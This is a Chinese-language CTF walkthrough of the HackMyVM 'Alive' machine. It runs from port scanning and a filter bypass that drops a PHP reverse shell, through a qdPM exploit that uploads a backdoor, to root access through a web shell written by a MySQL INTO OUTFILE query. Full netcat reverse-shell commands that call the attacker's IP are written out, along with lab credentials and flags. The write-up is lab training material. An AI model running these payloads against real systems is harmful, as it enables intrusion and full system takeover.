[HMV] Alive

发布时间 2023-04-15 02:25:22作者: 伞酱酱酱

感谢 @sharpicx 和 @PL4GU3 的帮助

Thanks to @sharpicx and @PL4GU3 for their help


0x00 配置

攻击机 IP: 192.168.10.28

靶机 IP: 192.168.10.27


0x01 攻击

使用 Nmap 扫描目标靶机开放的端口

┌──(root㉿Kali)-[~]
└─# nmap -sC -sV -p- 192.168.10.27
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 192.168.10.27
Host is up (0.00034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 269c17ef21363d01c31d6b0d4711cd58 (RSA)
|   256 29266849b0375c0e7b6d818d60988dfc (ECDSA)
|_  256 132e13190c9da3a73eb8dfab97084188 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Host alive
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:E8:2B:EF (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.98 seconds

只发现了 22(SSH) 和 80(HTTP) 端口。直接看 Web

image-20230414195349660

发现了这个网站会访问输入的 URL 并把它包含到自己的页面中,我们尝试在本地搭建一个 HTTP 服务器,并让它访问

image-20230414195825722

原本我以为可以在这里使用 PHP 包含或者命令注入,但是 PHP 包含始终无法执行,而命令注入则因为它过滤了类似 ; & 还有 $ 的符号。尝试无果后扫描一下网站的后台

┌──(root㉿Kali)-[~]
└─# dirsearch -u http://192.168.10.27/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.10.27/-_23-04-14_19-52-07.txt

Error Log: /root/.dirsearch/logs/errors-23-04-14_19-52-07.log

Target: http://192.168.10.27/

[19:52:07] Starting: 
[19:52:08] 403 -  278B  - /.ht_wsr.txt                                     
[19:52:08] 403 -  278B  - /.htaccess.sample
[19:52:08] 403 -  278B  - /.htaccess.orig
[19:52:08] 403 -  278B  - /.htaccess.bak1
[19:52:08] 403 -  278B  - /.htaccess.save
[19:52:08] 403 -  278B  - /.htaccess_orig
[19:52:08] 403 -  278B  - /.htaccess_extra
[19:52:08] 403 -  278B  - /.htaccess_sc
[19:52:08] 403 -  278B  - /.htaccessOLD2
[19:52:08] 403 -  278B  - /.htaccessOLD                                    
[19:52:08] 403 -  278B  - /.htaccessBAK
[19:52:08] 403 -  278B  - /.htm
[19:52:08] 403 -  278B  - /.html
[19:52:08] 403 -  278B  - /.htpasswd_test
[19:52:08] 403 -  278B  - /.httr-oauth
[19:52:08] 403 -  278B  - /.htpasswds
[19:52:08] 403 -  278B  - /.php                                            
[19:52:19] 200 -    2KB - /index.php                                        
[19:52:19] 200 -    2KB - /index.php/login/                                 
[19:52:25] 403 -  278B  - /server-status/                                   
[19:52:25] 403 -  278B  - /server-status
[19:52:27] 200 -  736B  - /tmp/                                             
[19:52:27] 301 -  312B  - /tmp  ->  http://192.168.10.27/tmp/               
                                                                             
Task Completed

我发现了 /tmp 目录,但是 /tmp 目录是空的。我突然想到也许我们可以用重定向符 > 来把反向 Shell 的 PHP 程序写入到网站的目录下,然后再访问得到 Shell,因为重定向符并没有被过滤。在 index.html 中放置 PHP PentestMonkey

image-20230414200242703

经过尝试,发现似乎并不能写入网站的根目录。想到之前扫描目录时得到的 /tmp 目录,我们尝试写到 /tmp 中

image-20230414200350341

成功写入到了 /tmp 目录中,访问 shell.phtml 就可以获得反向 Shell 了

┌──(root㉿Kali)-[~]
└─# nc -lvnp 5001
listening on [any] 5001 ...
connect to [192.168.10.28] from (UNKNOWN) [192.168.10.27] 36366
Linux alive.hmv 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 GNU/Linux
 14:04:14 up 12 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (596): Inappropriate ioctl for device
bash: no job control in this shell

www-data@alive:/$ :)

首先,我们查看靶机存在的可进入终端的用户

www-data@alive:/$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
alexandra:x:1000:1000:alexandra,,,:/home/alexandra:/bin/bash

发现了 root 和 alexandra 用户。查看一下 alexandra 用户的家目录

www-data@alive:/$ ls -al /home
ls -al /home
total 12
drwxr-xr-x.  3 root      root      4096 Jan 11 21:27 .
drwxr-xr-x. 18 root      root      4096 Jan 17 07:01 ..
drwxr-xr-x.  4 alexandra alexandra 4096 Jan 28 13:05 alexandra

www-data@alive:/$ ls -al /home/alexandra
ls -al /home/alexandra
total 32
drwxr-xr-x. 4 alexandra alexandra 4096 Jan 28 13:05 .
drwxr-xr-x. 3 root      root      4096 Jan 11 21:27 ..
lrwxrwxrwx  1 root      root         9 Jan 28 13:05 .bash_history -> /dev/null
-rw-r--r--. 1 alexandra alexandra  220 Jan 11 21:27 .bash_logout
-rw-r--r--. 1 alexandra alexandra 3526 Jan 11 21:27 .bashrc
drwxr-xr-x. 3 alexandra alexandra 4096 Jan 15 08:16 .local
-rw-r--r--. 1 alexandra alexandra  807 Jan 11 21:27 .profile
drwx------. 2 alexandra alexandra 4096 Jan 18 07:45 .ssh
-rwx------. 1 alexandra alexandra   33 Jan 14 11:12 user.txt

并没有发现可以利用的文件,但是发现了 user flag。

经过其他检查,发现 www 既不能运行 Sudo,也没有可以利用的 SUID 文件。检查一下网页的根目录

www-data@alive:/$ ls -al /var/www
ls -al /var/www
total 16
drwxr-xr-x.  4 root root 4096 Jan 12 18:44 .
drwxr-xr-x. 12 root root 4096 Jan 11 21:31 ..
drwxr-xr-x.  3 root root 4096 Jan 12 18:44 code
drwxr-xr-x.  3 root root 4096 Jan 12 18:44 html

www-data@alive:/$ ls -al /var/www/code
ls -al /var/www/code
total 436
drwxr-xr-x.  3 root     root       4096 Jan 12 18:44 .
drwxr-xr-x.  4 root     root       4096 Jan 12 18:44 ..
-r--r--r--.  1 www-data www-data   1603 Jan 12 18:44 index.php
drwxr-xr-x  11 www-data www-data   4096 Jan 12 18:44 qdpmApp
-r--r--r--.  1 www-data www-data 428145 Jan 12 18:44 troll.jpg

www-data@alive:/$ ls -al /var/www/html
ls -al /var/www/html
total 16
drwxr-xr-x. 3 root     root     4096 Jan 12 18:44 .
drwxr-xr-x. 4 root     root     4096 Jan 12 18:44 ..
-r--r--r--. 1 www-data www-data 2001 Jan 12 18:44 index.php
drwxr-xr-x. 2 www-data www-data 4096 Apr 14 14:03 tmp

似乎除了之前访问的 /var/www/html,还有一个 code 目录下也有网页,并且看到了 qdpm 的字样,可能有可以利用的漏洞。查看一下 Apache 的配置文件

www-data@alive:/$ cat /etc/apache2/sites-available/000-default.conf
cat /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html
	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

<VirtualHost *:80>

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/code
	ServerName digitcoder.alive.hmv
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

最后在 /etc/apache2/sites-available/000-default.conf 发现了另一个网址,digitcoder.alive.hmv,把它添加到 hosts,然后打开

image-20230414201220753

网页提示我们需要输入 15 位的数字,但是既然已经知道了 qdpmApp 的路径,就不必在这上面再花时间了,直接访问 /qdpmApp

image-20230414201324246

发现了一个糟糕的 qdPM 版本,这个版本不仅拥有敏感信息泄露漏洞,也同时有多个远程命令执行漏洞。先通过 敏感信息泄露漏洞 获得 qdPM 所使用的数据库的信息

all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=qdpm_db;host=localhost;port=3306'
      profiler: false
      username: qdpmUser
      password: "<?php echo urlencode('HeLL0alI4ns') ; ?>"
      attributes:
        quote_identifier: true  

发现了 qdPM 所使用的数据库的用户名和密码。登录 qdPM 需要一个电子邮箱而不是用户名,我尝试用在最初的页面上看到的 admin@alive.hmv 作为电子邮箱来找回密码,但是提示这个邮箱没有被注册,所以只能检查数据库了。在之前得到的反向 Shell 中登录数据库

www-data@alive:/$ mysql -u qdpmUser -pHeLL0alI4ns
mysql -u qdpmUser -pHeLL0alI4ns
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 10
Server version: 10.3.25-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> :)

查询数据库

MariaDB [(none)]> use qdpm_db;
use qdpm_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [qdpm_db]> show tables;
show tables;
+----------------------+
| Tables_in_qdpm_db    |
+----------------------+
| attachments          |
| configuration        |
| departments          |
| discussions          |
| discussions_comments |
| discussions_reports  |
| discussions_status   |
| events               |
| extra_fields         |
| extra_fields_list    |
| phases               |
| phases_status        |
| projects             |
| projects_comments    |
| projects_phases      |
| projects_reports     |
| projects_status      |
| projects_types       |
| tasks                |
| tasks_comments       |
| tasks_groups         |
| tasks_labels         |
| tasks_priority       |
| tasks_status         |
| tasks_types          |
| tickets              |
| tickets_comments     |
| tickets_reports      |
| tickets_status       |
| tickets_types        |
| user_reports         |
| users                |
| users_groups         |
| versions             |
| versions_status      |
+----------------------+
35 rows in set (0.000 sec)

MariaDB [qdpm_db]> select * from users;
select * from users;
+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+
| id | users_group_id | name          | photo | email                   | culture | password                           | active | skin |
+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+
|  3 |              1 | administrator |       | administrator@alive.hmv |         | $P$EXzIrSSSu7iTu2wc9sFTh29F7Ajn371 |      1 | NULL |
+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+
1 row in set (0.000 sec)

成功找到了电子邮件 administrator@alive.hmv,但是密码是经过加密的,无法直接访问。于是尝试直接使用数据库的密码登录

image-20230414202022143

成功进入了 qdPM,现在可以尝试使用远程命令执行漏洞来得到 qdPM 所运行环境的 Shell

┌──(root㉿Kali)-[~/work]
└─# python3 ./50944.py -url http://digitcoder.alive.hmv/qdpmApp/ -u administrator@alive.hmv -p HeLL0alI4ns
You are not able to use the designated admin account because they do not have a myAccount page.

The DateStamp is 2023-04-14 14:25 
Backdoor uploaded at - > http://digitcoder.alive.hmv/qdpmApp/uploads/users/843392-backdoor.php?cmd=whoami

尝试获得反向 Shell

http://digitcoder.alive.hmv/qdpmApp/uploads/users/843392-backdoor.php?cmd=nc%20-c%20/bin/bash%20192.168.10.28%205002
┌──(root㉿Kali)-[~]
└─# nc -lvnp 5002
listening on [any] 5002 ...
connect to [192.168.10.28] from (UNKNOWN) [192.168.10.27] 39464
python3 -c 'import pty; pty.spawn("/bin/bash")'

www-data@alive:/var/www/code/qdpmApp/uploads/users$ export TERM=xterm
export TERM=xterm

www-data@alive:/var/www/code/qdpmApp/uploads/users$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@alive:/var/www/code/qdpmApp/uploads/users$ whoami
whoami
www-data

WTF,依旧是 www 用户,看来方向错了。继续寻找其他线索。在 /opt 目录下发现了一些可疑的文件

www-data@alive:/$ ls -al /opt
ls -al /opt
total 16
drwxr-xr-x.  2 root     root     4096 Jan 28 11:32 .
drwxr-xr-x. 18 root     root     4096 Jan 17 07:01 ..
-rw-r--r--   1 www-data www-data  252 Jan 14 10:04 backup.zip
-r--r--r--.  1 www-data www-data  149 Jan 14 10:04 index.html

查看 index.html 的内容

www-data@alive:/$ cat /opt/index.html
cat /opt/index.html
<!DOCTYPE html>
<html>
    <head>
        <title>Backup</title>
    </head>
    <body>
        <p>Only local zipped backup.</p>

    </body>
</html>

并没有什么用。把 backup.zip 拷贝到 /tmp 目录,然后解压

www-data@alive:/$ cp /opt/backup.zip /tmp/backup.zip
cp /opt/backup.zip /tmp/backup.zip

www-data@alive:/$ cd /tmp
cd /tmp

www-data@alive:/tmp$ unzip ./backup.zip
unzip ./backup.zip
Archive:  ./backup.zip
  inflating: digitcode.bak

发现了 digitcode.bak

www-data@alive:/tmp$ cat digitcode.bak
cat digitcode.bak
host:      alive.hmv
location:  /var/www/code
param:     digit
code:      494147203525673

这似乎是之前的 digitcoder.alive.hmv 页面需要用到的 15 位数码,但是显然现在已经用不上它

<!DOCTYPE html>
<html>
<head>
    <title>Alive Restricted Zone</title>
    <style>
        body {
            background-color: lightblue;
        }
        img {
            width: 60%;
            display: block;
            margin-left: auto;
            margin-right: auto;
            margin-top: 20px; /* added */
        }
    </style>
</head>
<body>
    <form action="index.php" method="post">
        <label for="digit">Enter your 15 digit code : </label>
        <input type="password" id="digit" name="digit" >
        <input type="submit" value="Valider">
    </form>
    <img src="troll.jpg" alt="#" style="width:30%;display:block;margin-left:auto;margin-right:auto;margin-top:150px;">

<?php
    $servername = "localhost";
    $username = "admin";
    $password = "HeLL0alI4ns";
    $dbname = "digitcode";

    $conn = new mysqli($servername, $username, $password, $dbname);

    if ($conn->connect_error) {
        die("Connection failed: " . $conn->connect_error);
    }

    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $digit = mysqli_real_escape_string($conn, $_POST["digit"]);

        $stmt = $conn->prepare("SELECT digit, url FROM code, path WHERE code.id = path.id and code.id = ?");
        $stmt->bind_param("i", $id);
        $id = 1;
        $stmt->execute();
        $stmt->bind_result($correct_digit, $path);
        $stmt->fetch();
        $stmt->close();

        if ($digit === $correct_digit) {
            header("Location: $path");
            exit;
        } else {
            echo "Wrong digit code.";
        }
    }

    $conn->close();
?>
</body>
</html>

继续寻找其他提权方法。使用 PEASS-ng 检查正在运行的程序,发现 MySQL 和 /opt 下的网页是在 root 用户上运行的

image-20230414234341887

由于 www 用户对 /opt 没有权限,所以无法修改或者重命名 /opt/backup.zip。看来需要通过 MySQL 来得到权限,因为之前 qdPM 的数据库并没有完整的权限,只能访问 qdPM 自己的数据库而不能访问 mysql 数据库,所以尝试用 /var/www/code/index.php 里记录的数据库用户名和密码来登录

mysql -uadmin -p
Enter password: HeLL0alI4ns

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 23
Server version: 10.3.25-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| digitcode          |
| information_schema |
| mysql              |
| performance_schema |
| qdpm_db            |
+--------------------+
5 rows in set (0.001 sec)

发现 admin 用户拥有 MySQL 的完整权限,尝试向 /opt 写入一个 PHP 脚本

select "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE '/opt/getshell.php'
Query OK, 1 row affected (0.000 sec)

然后使用 cURL 发送请求来创建反向 Shell

www-data@alive:/usr/local/mysql/data$ curl 127.0.0.1:8000/getshell.php?cmd=nc%20-c%20%2Fbin%2Fbash%20192.168.10.28%205004

最终我们获得了 root shell,以及 flag

┌──(root㉿Kali)-[~]
└─# nc -lvnp 5004
listening on [any] 5004 ...
connect to [192.168.10.28] from (UNKNOWN) [192.168.10.25] 34666
python3 -c 'import pty; pty.spawn("/bin/bash")'

root@alive:/# cd 
cd 

root@alive:~# cat root.txt
cat root.txt
819be2c3422a6121dac7e8b1da21ce32

root@alive:~# cat /home/*/user.txt
cat /home/*/user.txt
1637c0ee2d19e925bd6394c847a62ed5

0x02 总结

最后的提权部分也可以使用 MySQL UDF 来实现